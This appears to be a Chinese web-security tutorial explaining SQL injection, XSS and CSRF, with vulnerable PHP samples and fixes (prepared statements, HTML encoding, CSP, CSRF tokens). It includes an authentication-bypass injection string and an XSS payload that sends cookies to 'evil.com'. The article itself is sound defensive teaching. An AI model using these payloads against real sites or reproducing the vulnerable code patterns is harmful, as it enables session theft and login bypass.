Web安全是保障Web应用免受恶意攻击的核心领域。随着Web应用复杂度提升,攻击面不断扩大,理解常见漏洞的成因与防御机制已成为开发者的必修课。本文从专业角度剖析三类典型Web漏洞,并给出可落地的代码防御方案。
SQL注入源于用户输入被直接拼接到SQL语句中,攻击者通过构造恶意输入改变查询语义。
漏洞代码示例(PHP):
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);若攻击者输入 admin' OR '1'='1,查询变为永真条件,即可绕过认证。
防御方案——参数化查询:
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();参数化查询将SQL结构与数据分离,数据库引擎预编译语句结构,用户输入仅作为数据传入,从根本上杜绝注入。此外应遵循最小权限原则,避免使用root账户连接数据库。
XSS指攻击者将恶意脚本注入页面,在受害者浏览器中执行。分为存储型、反射型和DOM型三类。
反射型XSS示例:
<!-- 危险:直接输出URL参数 -->
<div>欢迎,<?php echo $_GET['name']; ?></div>攻击者构造链接 ?name=<script>document.location='http://evil.com?c='+document.cookie</script>,用户点击后Cookie被窃取。
防御方案——输出编码:
// 输出时进行HTML实体编码
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');同时应设置HttpOnly Cookie防止JS读取,配置CSP(内容安全策略):
Content-Security-Policy: default-src 'self'; script-src 'self'CSP限制脚本来源,即使存在注入点,内联脚本也无法执行。
CSRF利用浏览器自动携带Cookie的特性,诱导已登录用户在不知情下执行操作。
攻击流程: 用户在银行网站登录后,访问恶意页面,页面中隐藏表单自动向银行提交转账请求,浏览器携带Session Cookie,服务器误认为用户本人操作。
防御方案——Token验证:
# Flask示例
import secrets
from flask import session
@app.before_request
def csrf_protect():
if request.method == "POST":
token = session.get('_csrf_token')
if not token or token != request.form.get('_csrf_token'):
abort(403)
def generate_csrf_token():
if '_csrf_token' not in session:
session['_csrf_token'] = secrets.token_hex(32)
return session['_csrf_token']关键点在于Token存储在Session中,攻击者无法预知。同时设置Cookie的SameSite属性为Lax或Strict,可有效阻断跨站请求携带Cookie。
单一措施难以应对复杂威胁,需构建多层防御:
Web安全的本质是"永不信任用户输入"。开发者需理解漏洞背后的信任边界问题,将参数化查询、输出编码、CSRF Token等防御手段内化为编码习惯。安全不是一次性任务,而是贯穿设计、开发、运维全生命周期的持续过程。唯有如此,才能在攻防对抗中守住底线。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。